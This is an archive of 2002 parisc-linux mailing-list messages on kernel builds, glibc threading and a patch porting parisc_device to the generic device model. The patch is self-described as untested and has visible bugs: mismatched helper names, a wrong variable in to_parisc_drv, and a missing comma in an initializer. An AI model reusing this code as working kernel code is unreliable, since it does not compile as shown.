Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16682

On Fri, 8 Nov 2002, Matthew Wilcox wrote:

Hi,

> On Fri, Nov 08, 2002 at 09:05:51PM +0000, Bjoern A. Zeeb wrote:
> >
> > Are there any updates or fixes or do I need to have a look at it myself ?
> > This is a bk pull from 20021108-165510 UTC.
>
> We're not fully integrated into Linus' tree yet.  We're a damn sight
> closer than we have been ever before, but you still need either latest
> CVS or download a patch.  If you're interested in 2.5, i recommend CVS
> since fixes get made on an hourly basis.  Last night's snapshot is ~130k
> gzipped, or 500k uncompressed.  About 90% of that is drivers/video,
> drivers/input and drivers/scsi.
>
> If you do want a patch, http://ftp.parisc-linux.org/2.5/kernel-src/
> is updated nightly (around 5am MST, i believe).

thanks. I will consider a cvs co but first fetch the patch.

*grrml* I must have missed this directory while looking at
ftp.parisc-linux.org though I had a look at kernels and src ...

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Zyngier <mzyngier@freesurf.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: 09 Nov 2002 08:58:01 +0100
Organization: Metropolis -- Nowhere
Lines: 27
Approved: news@gmane.org
Message-ID: <wrp4rari392.fsf__46417.2385436997$1416621891$gmane$org@hina.wild-wind.fr.eu.org>
References: <200211090451.UAA26160@baldur.yggdrasil.com>
	<20021109052150.T12011@parcelfarce.linux.theplanet.co.uk>
Reply-To: mzyngier@freesurf.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621891 16522 80.91.229.3 (22 Nov 2014 02:04:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:51 +0000 (UTC)
Cc: "Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, James.Bottomley@steeleye.com,
	linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 00:58:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crisis.wild-wind.fr.eu.org (lopsy-lu.misterjones.org [62.4.18.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95249482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 00:58:57 -0700 (MST)
Original-Received: from hina.wild-wind.fr.eu.org ([192.168.70.139])
	by crisis.wild-wind.fr.eu.org with esmtp (Exim 3.35 #1 (Debian))
	id 18AQXb-00086q-00; Sat, 09 Nov 2002 09:00:27 +0100
Original-Received: from maz by hina.wild-wind.fr.eu.org with local (Exim 3.35 #1 (Debian))
	id 18AQVF-00011h-00; Sat, 09 Nov 2002 08:58:01 +0100
X-Attribution: maz
X-Baby-1: =?iso-8859-1?q?Lo=EBn?= 12 juin 1996 13:10
X-Baby-2: None
X-Love-1: Gone
X-Love-2: Crazy-Cat
In-Reply-To: <20021109052150.T12011@parcelfarce.linux.theplanet.co.uk>
Original-Lines: 26
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16683

>>>>> "Matthew" == Matthew Wilcox <willy@debian.org> writes:

Matthew> (i'm gagging to write an EISA subsystem ;-).

Humm, please don't... :-)

maz@midlife-crisis:~$ ls -R /sys/bus/eisa/ 
/sys/bus/eisa/:
devices  drivers

/sys/bus/eisa/devices:
00:00  00:01  00:02

/sys/bus/eisa/drivers:
3c509

/sys/bus/eisa/drivers/3c509:
00:02
maz@midlife-crisis:~$ 

I have it working on x86 and Alpha, will test parisc and mips over the
week-end.

        M.
-- 
Places change, faces change. Life is so very strange.


From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "b.gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nanosleep
Date: Sat, 09 Nov 2002 09:32:57 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <3DCCC839.EFC91019@web.de>
References: <200211081116.gA8BGuX28978@mailgate5.cinetic.de> <20021108161225.GD2402@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621891 16525 80.91.229.3 (22 Nov 2014 02:04:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 01:45:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp02.web.de [217.72.192.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id F25EC4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 01:45:19 -0700 (MST)
Original-Received: from c-180-204-166.n.dial.de.ignite.net ([62.180.204.166] helo=web.de)
	by smtp.web.de with asmtp (WEB.DE(Exim) 4.91 #2)
	id 18AREx-000414-00
	for parisc-linux@lists.parisc-linux.org; Sat, 09 Nov 2002 09:45:15 +0100
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16684

Carlos O'Donell wrote:
> 
> > Hi List,
> > I tried to compile glibc2.3.1, and have some problems with the threading support there.
> > When using perl with the new glibc on a C240, things seem to work without problems. On
> > a 715/33, I get (probably) endless loops with lots of sched_yield() calls.
> 
> glibc 2.3.1 from debian CVS or upstream?

This is upstream with hppa patches from the debian tree. 

The report was probably bad. In the mail thread I mentioned in my
previous mail, the nanosleep in the kernel was fixed because of
threading problems. If I understand it correctly, threading will always
have problems without a realy working nanosleep.

Berthold



From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam J. Richter" <adam@yggdrasil.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Sat, 9 Nov 2002 04:22:42 -0800
Lines: 490
Approved: news@gmane.org
Message-ID: <200211091222.EAA26552__46053.0636286878$1416621891$gmane$org@baldur.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621891 16528 80.91.229.3 (22 Nov 2014 02:04:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:51 +0000 (UTC)
Cc: andmike@us.ibm.com, hch@lst.de, James.Bottomley@steeleye.com,
	linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 05:22:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from freya.yggdrasil.com (h-64-105-136-52.SNVACAID.covad.net [64.105.136.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC1594829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 05:22:56 -0700 (MST)
Original-Received: from baldur.yggdrasil.com (baldur.yggdrasil.com [209.249.10.12])
	by freya.yggdrasil.com (8.9.3/8.9.3) with ESMTP id EAA17409;
	Sat, 9 Nov 2002 04:22:50 -0800
Original-Received: (from adam@localhost)
	by baldur.yggdrasil.com (8.9.3/8.9.3) id EAA26552;
	Sat, 9 Nov 2002 04:22:42 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16685

Matthew Wilcox writes:
>On Fri, Nov 08, 2002 at 08:51:28PM -0800, Adam J. Richter wrote:
>> My patch is a net deletion of 57 lines and will allow simplification
>> of parisc DMA allocation.
>
>57 lines of clean elegant code, replacing them with overly generic ugly
>code and bloated data structures.

	You'd really have to gerrymander to pick a standard by which
my code is "ugly" and what it deletes is "clean and elegant."  I leave
it to other interested readers to look at my patch and judge.

>struct device is a round 256 bytes
>on x86.  more on 64-bit architectures.

	Here is an updated version of my completely untested patch
that replaces parisc_device.name[] with parisc_device.device.name[].

	sizeof(struct device), at least on x86	244 bytes
	5 pointers removed from parisc_device   -40 bytes
	parisc_device.name moved to .device	-80 bytes
						---------
	Size cost of using struct device	124 bytes per parisc_device

	There are ten drivers in drivers/parisc and arch/parisc that
define a struct parisc_driver.  Perhaps you'll have an average of ~1.5
of each such device in a parisc system or maybe ten struct
parisc_device's and a similar number of parisc_driver's.  So, you're
talking about perhaps 2kB of additional space for parisc_device's,
perhaps 3kB including the parisc_driver's.

	This space cost would be reduced somewhat by the shrinkage to
arch/parisc/kernel/drivers.c, and this code will enable other
simplifications.  Even without those other simplificatins, this code
may be a net space savings on some systems.

Adam J. Richter     __     ______________   575 Oroville Road
adam@yggdrasil.com     \ /                  Miplitas, California 95035
+1 408 309-6081         | g g d r a s i l   United States of America
                         "Free Software For The Rest Of Us."

diff -u -r linux-2.5.46/include/asm-parisc/hardware.h linux/include/asm-parisc/hardware.h
--- linux-2.5.46/include/asm-parisc/hardware.h	Wed Oct 30 21:32:15 2002
+++ linux/include/asm-parisc/hardware.h	Sat Nov  9 03:07:23 2002
@@ -1,6 +1,7 @@
 #ifndef _PARISC_HARDWARE_H
 #define _PARISC_HARDWARE_H
 
+#include <linux/device.h>
 #include <asm/pdc.h>
 
 struct parisc_device_id {
@@ -26,14 +27,9 @@
 struct parisc_device {
 	unsigned long   hpa;		/* Hard Physical Address */
 	struct parisc_device_id id;
-	struct parisc_device *parent;
-	struct parisc_device *sibling;
-	struct parisc_device *child;
-	struct parisc_driver *driver;	/* Driver for this device */
-	void		*sysdata;	/* Driver instance private data */
-	char		name[80];	/* The hardware description */
 	int		irq;
 
+	struct device	device;
 	char		hw_path;        /* The module number on this bus */
 	unsigned int	num_addrs;	/* some devices have additional address ranges. */
 	unsigned long	*addr;          /* which will be stored here */
@@ -66,10 +62,9 @@
 extern char *cpu_name_version[][2]; /* mapping from enum cpu_type to strings */
 
 struct parisc_driver {
-	struct parisc_driver *next;
-	char *name; 
 	const struct parisc_device_id *id_table;
 	int (*probe) (struct parisc_device *dev); /* New device discovered */
+	struct device_driver driver;
 };
 
 struct io_module {
@@ -128,6 +123,26 @@
 #define HPHW_FAULTY    31
 
 
+static inline struct parisc_device *to_parisc_dev(struct device *dev)
+{
+	return container_of(dev, struct parisc_device, device);
+}
+
+static inline struct parisc_driver *to_parisc_drv(struct driver *dev)
+{
+	return container_of(drv, struct parisc_driver, driver);
+}
+
+static inline void *parisc_get_drvdata(struct parisc_device *pa_dev)
+{
+	return dev_get_drvdata(pa_dev->device);
+}
+
+static inline void parisc_set_drvdata(struct parisc_device *pa_dev, void *ptr)
+{
+	dev_set_drvdata(pa_dev->device, ptr);
+}
+
 /* hardware.c: */
 extern const char *parisc_hardware_description(struct parisc_device_id *id);
 extern enum cpu_type parisc_get_cpu_type(unsigned long hversion);
@@ -135,12 +150,13 @@
 struct pci_dev;
 
 /* drivers.c: */
+extern struct bus_type parisc_bus_type;
 extern struct parisc_device *alloc_pa_dev(unsigned long hpa,
 		struct hardware_path *path);
 extern int register_parisc_device(struct parisc_device *dev);
 extern int register_parisc_driver(struct parisc_driver *driver);
 extern int count_parisc_driver(struct parisc_driver *driver);
-extern int unregister_parisc_driver(struct parisc_driver *driver);
+extern void unregister_parisc_driver(struct parisc_driver *driver);
 extern void walk_central_bus(void);
 extern void fixup_child_irqs(struct parisc_device *parent, int irqbase,
 		int (*choose)(struct parisc_device *parent));
diff -u -r linux-2.5.46/arch/parisc/kernel/drivers.c linux/arch/parisc/kernel/drivers.c
--- linux-2.5.46/arch/parisc/kernel/drivers.c	Mon Nov  4 21:35:43 2002
+++ linux/arch/parisc/kernel/drivers.c	Sat Nov  9 03:21:25 2002
@@ -27,17 +27,8 @@
 /* See comments in include/asm-parisc/pci.h */
 struct pci_dma_ops *hppa_dma_ops;
 
-static struct parisc_driver *pa_drivers;
 static struct parisc_device root;
 
-/* This lock protects the pa_drivers list _only_ since all parisc_devices
- * are registered before smp_init() is called.  If you wish to add devices
- * after that, this muct be serialised somehow.  I recommend a semaphore
- * rather than a spinlock since driver ->probe functions are allowed to
- * sleep (for example when allocating memory).
- */
-static spinlock_t pa_lock = SPIN_LOCK_UNLOCKED;
-
 #define for_each_padev(dev) \
 	for (dev = root.child; dev != NULL; dev = next_dev(dev))
 
@@ -53,20 +44,13 @@
  */
 struct parisc_device *next_dev(struct parisc_device *dev)
 {
-	if (dev->child) {
-		return check_dev(dev->child);
-	} else if (dev->sibling) {
-		return dev->sibling;
-	}
+	struct device *next =
+		list_entry(dev->device.next, struct device, g_list);
 
-	/* Exhausted tree at this level, time to go up. */
-	do {
-		dev = dev->parent;
-		if (dev && dev->sibling)
-			return dev->sibling;
-	} while (dev != &root);
-
-	return NULL;
+	if (next->parent == NULL) /* end of list.  back at root */
+		return NULL;
+	else
+		return container_of(next, struct parisc_device, device);
 }
 
 /**
@@ -74,8 +58,11 @@
  * @driver: the PA-RISC driver to try
  * @dev: the PA-RISC device to try
  */
-static int match_device(struct parisc_driver *driver, struct parisc_device *dev)
+static int
+parisc_match_device(struct device_driver *gendrv, struct device *gendev)
 {
+	struct parisc_driver *driver = to_parisc_driver(gendrv);
+	struct parisc_device *dev = to_parisc_device(gendev);
 	const struct parisc_device_id *ids;
 
 	for (ids = driver->id_table; ids->sversion; ids++) {
@@ -96,10 +83,17 @@
 	return 0;
 }
 
-static void claim_device(struct parisc_driver *driver, struct parisc_device *dev)
+static int parisc_device_probe(struct device *dev)
 {
-	dev->driver = driver;
-	request_mem_region(dev->hpa, 0x1000, driver->name);
+	struct parisc_device *pa_dev = to_parisc_device(dev);
+	struct device_driver *drv = dev->driver;
+	struct parisc_driver *pa_drv = to_parisc_driver(drv);
+	int err = (*pa_drv->probe)(pa_dev);
+
+	if (!err)
+		request_mem_region(dev->hpa, 0x1000, drv->name);
+
+	return err;
 }
 
 /**
@@ -108,37 +102,22 @@
  */
 int register_parisc_driver(struct parisc_driver *driver)
 {
-	struct parisc_device *device;
-
-	if (driver->next) {
-		printk(KERN_WARNING 
-		       "BUG: Skipping previously registered driver: %s\n",
-		       driver->name);
-		return 1;
-	}
-
-	for_each_padev(device) {
-		if (device->driver)
-			continue;
-		if (!match_device(driver, device))
-			continue;
-
-		if (driver->probe(device) < 0)
-			continue;
-		claim_device(driver, device);
-	}
+	driver->driver.bus_type = &parisc_bus_type;
+	driver->driver.probe = parisc_device_probe;
+	return driver_register(&driver->driver);
+}
 
-	/* Note that the list is in reverse order of registration.  This
-	 * may be significant if we ever actually support hotplug and have
-	 * multiple drivers capable of claiming the same chip.
-	 */
-
-	spin_lock(&pa_lock);
-	driver->next = pa_drivers;
-	pa_drivers = driver;
-	spin_unlock(&pa_lock);
+struct count_arg {
+	struct driver *driver;
+	int count;
+};
 
-	return 0;
+static void count_callback(struct device *dev, void *data)
+{
+	struct count_arg *arg = data;
+	
+	if (parisc_match_device(&arg->driver, dev))
+		(arg->count)++;
 }
 
 /**
@@ -148,17 +127,14 @@
  * Use by IOMMU support to "guess" the right size IOPdir.
  * Formula is something like memsize/(num_iommu * entry_size).
  */
-int count_parisc_driver(struct parisc_driver *driver)
+int count_parisc_driver(struct parisc_driver *pa_driver)
 {
-	struct parisc_device *device;
-	int cnt = 0;
-
-	for_each_padev(device) {
-		if (match_device(driver, device))
-			cnt++;
-	}
-
-	return cnt;
+	struct count_arg arg;
+  
+	arg.driver = &pa_driver->driver;
+	arg.count = 0;
+	bus_for_each_dev(arg.driver->bus, &arg, count_callback);
+	return arg.count;
 }
 
 
@@ -167,42 +143,9 @@
  * unregister_parisc_driver - Unregister this driver from the list of drivers
  * @driver: the PA-RISC driver to unregister
  */
-int unregister_parisc_driver(struct parisc_driver *driver)
+void unregister_parisc_driver(struct parisc_driver *driver)
 {
-	struct parisc_device *dev;
-
-	spin_lock(&pa_lock);
-
-	if (pa_drivers == driver) {
-		/* was head of list - update head */
-		pa_drivers = driver->next;
-	} else {
-		struct parisc_driver *prev = pa_drivers;
-
-		while (prev && driver != prev->next) {
-			prev = prev->next;
-		}
-
-		if (!prev) {
-			printk(KERN_WARNING "unregister_parisc_driver: %s wasn't registered\n", driver->name);
-		} else {
-			/* Drop driver from list */
-			prev->next = driver->next;
-			driver->next = NULL;
-		}
-
-	}
-
-	spin_unlock(&pa_lock);
-
-	for_each_padev(dev) {
-		if (dev->driver != driver)
-			continue;
-		dev->driver = NULL;
-		release_mem_region(dev->hpa, 0x1000);
-	}
-
-	return 0;
+	driver_unregister(&driver->driver);
 }
 
 static struct parisc_device *find_device_by_addr(unsigned long hpa)
@@ -335,7 +278,8 @@
 	memset(dev, 0, sizeof(*dev));
 	dev->hw_path = id;
 	dev->id.hw_type = HPHW_FAULTY;
-	dev->parent = parent;
+	dev->device.bus_type = &parisc_bus_type;
+	dev->device.parent = &parent->device;
 	dev->sibling = *insert;
 	*insert = dev;
 	return dev;
@@ -417,7 +361,7 @@
 	dev->hpa = hpa;
 	name = parisc_hardware_description(&dev->id);
 	if (name) {
-		strncpy(dev->name, name, sizeof(dev->name)-1);
+		strncpy(dev->device.name, name, sizeof(dev->device.name)-1);
 	}
 
 	return dev;
@@ -429,32 +373,11 @@
  *
  * Search the driver list for a driver that is willing to manage
  * this device.
+ * WARNING: This routine now returns 0 on success. --Adam J. Richter 2002.11.08
  */
 int register_parisc_device(struct parisc_device *dev)
 {
-	struct parisc_driver *driver;
-
-	if (!dev)
-		return 0;
-
-	if (dev->driver)
-		return 1;
-	
-	spin_lock(&pa_lock);
-
-	/* Locate a driver which agrees to manage this device.  */
-	for (driver = pa_drivers; driver; driver = driver->next) {
-		if (!match_device(driver,dev))
-			continue;
-		if (driver->probe(dev) == 0)
-			break;
-	}
-
-	if (driver != NULL) {
-		claim_device(driver, dev);
-	}
-	spin_unlock(&pa_lock);
-	return driver != NULL;
+	return device_register(&dev->device);
 }
 
 #define BC_PORT_MASK 0x8
@@ -588,3 +511,8 @@
 		print_parisc_device(dev);
 	}
 }
+
+struct bus_type parisc_bus_type = {
+	.name =		"parisc",
+	.match =	parisc_match_device,
+};
diff -u -r linux-2.5.46/arch/parisc/kernel/perf.c linux/arch/parisc/kernel/perf.c
--- linux-2.5.46/arch/parisc/kernel/perf.c	Mon Nov  4 21:35:43 2002
+++ linux/arch/parisc/kernel/perf.c	Sat Nov  9 03:13:23 2002
@@ -527,7 +527,7 @@
 	/* TODO: this only lets us access the first cpu.. what to do for SMP? */
 	cpu_device = cpu_data[0].dev;
 	printk("Performance monitoring counters enabled for %s\n",
-		cpu_data[0].dev->name);
+		cpu_data[0].dev->device.name);
 
 	return 0;
 }
diff -u -r linux-2.5.46/arch/parisc/kernel/processor.c linux/arch/parisc/kernel/processor.c
--- linux-2.5.46/arch/parisc/kernel/processor.c	Mon Nov  4 21:35:44 2002
+++ linux/arch/parisc/kernel/processor.c	Sat Nov  9 03:13:04 2002
@@ -344,7 +344,7 @@
 				"model name\t: %s\n",
 				 boot_cpu_data.pdc.sys_model_name,
 				 cpu_data[n].dev ? 
-				 cpu_data[n].dev->name : "Unknown" );
+				 cpu_data[n].dev->device.name : "Unknown" );
 
 		seq_printf(m, "hversion\t: 0x%08x\n"
 			        "sversion\t: 0x%08x\n",
@@ -370,9 +370,11 @@
 };
 
 static struct parisc_driver cpu_driver = {
-	name:		"CPU",
-	id_table:	processor_tbl,
-	probe:		processor_probe
+	.id_table =	processor_tbl,
+	.probe =	processor_probe
+	.driver = {
+		.name =		"CPU",
+	},
 };
 
 /**
diff -u -r linux-2.5.46/arch/parisc/kernel/setup.c linux/arch/parisc/kernel/setup.c
--- linux-2.5.46/arch/parisc/kernel/setup.c	Mon Nov  4 21:35:44 2002
+++ linux/arch/parisc/kernel/setup.c	Sat Nov  9 03:10:26 2002
@@ -216,24 +216,24 @@
 }
 
 static struct resource central_bus = {
-	name:	"Central Bus",
-	start:	(unsigned long)0xfffffffffff80000,
-	end:    (unsigned long)0xfffffffffffaffff,
-	flags:	IORESOURCE_MEM,
+	.name =		"Central Bus",
+	.start =	(unsigned long)0xfffffffffff80000,
+	.end =		(unsigned long)0xfffffffffffaffff,
+	.flags =	IORESOURCE_MEM,
 };
 
 static struct resource local_broadcast = {
-	name:	"Local Broadcast",
-	start:	(unsigned long)0xfffffffffffb0000,
-	end:	(unsigned long)0xfffffffffffdffff,
-	flags:	IORESOURCE_MEM,
+	.name =		"Local Broadcast",
+	.start =	(unsigned long)0xfffffffffffb0000,
+	.end =		(unsigned long)0xfffffffffffdffff,
+	.flags =	IORESOURCE_MEM,
 };
 
 static struct resource global_broadcast = {
-	name:	"Global Broadcast",
-	start:	(unsigned long)0xfffffffffffe0000,
-	end:	(unsigned long)0xffffffffffffffff,
-	flags:	IORESOURCE_MEM,
+	.name =		"Global Broadcast",
+	.start =	(unsigned long)0xfffffffffffe0000,
+	.end =		(unsigned long)0xffffffffffffffff,
+	.flags =	IORESOURCE_MEM,
 };
 
 int __init parisc_init_resources(void)
diff -u -r linux-2.5.46/drivers/parisc/sba_iommu.c linux/drivers/parisc/sba_iommu.c
--- linux-2.5.46/drivers/parisc/sba_iommu.c	Fri Nov  8 01:28:15 2002
+++ linux/drivers/parisc/sba_iommu.c	Fri Nov  8 01:43:35 2002
@@ -1988,7 +1988,7 @@
 		return(1);
 	}
 
-	dev->sysdata = (void *) sba_dev;
+	parisc_set_drvdata(dev, sba_dev);
 	memset(sba_dev, 0, sizeof(struct sba_device));
 
 	for(i=0; i<MAX_IOC; i++)
@@ -2041,7 +2041,7 @@
  */
 void * sba_get_iommu(struct parisc_device *pci_hba)
 {
-	struct sba_device *sba = (struct sba_device *) pci_hba->parent->sysdata;
+	struct sba_device *sba = parisc_get_drvdata(pci_hba->parent);
 	char t = pci_hba->parent->id.hw_type;
 	int iocnum = (pci_hba->hw_path >> 3);	/* rope # */
 


From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel build: make palo
Date: Sat, 9 Nov 2002 14:27:04 +0000 (UTC)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211091415060.32930-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621891 16532 80.91.229.3 (22 Nov 2014 02:04:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  9 07:28:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 295904829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 07:28:00 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 3E96F1FFEC3
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 15:27:55 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 842A91FFEBE; Sat,  9 Nov 2002 15:27:54 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 441C322E1A; Sat,  9 Nov 2002 14:27:04 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id 3B37022E13
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Nov 2002 14:27:04 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16686

Hi,

I usually build all my kernels as user and not as 0. With parisc this
doesn't work because you try to run
	palo -f ./palo.conf
and that needs to be done as superuser.

--- ... ---
nm vmlinux | grep -v '\(compiled\)\|\(\.o$\)\|\( [aUw] \)\|\(\.\.ng$\)\|\(LASH[RL]DI\)' | sort > System.map
A generic palo config file (./palo.conf) has been created for you.
You should check it and re-run "make palo".
WARNING: the "lifimage" file is now placed in this directory by default!
make: *** [palo] Error 1
--- ... ---


Suggestion: can we factor this out to be an own target like
modules_install, etc ?

Then one could do
	make dep && make bzImage && make modules
as user, the switch to su and do a
	make modules_install && make palo
or even run palo by hand...

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
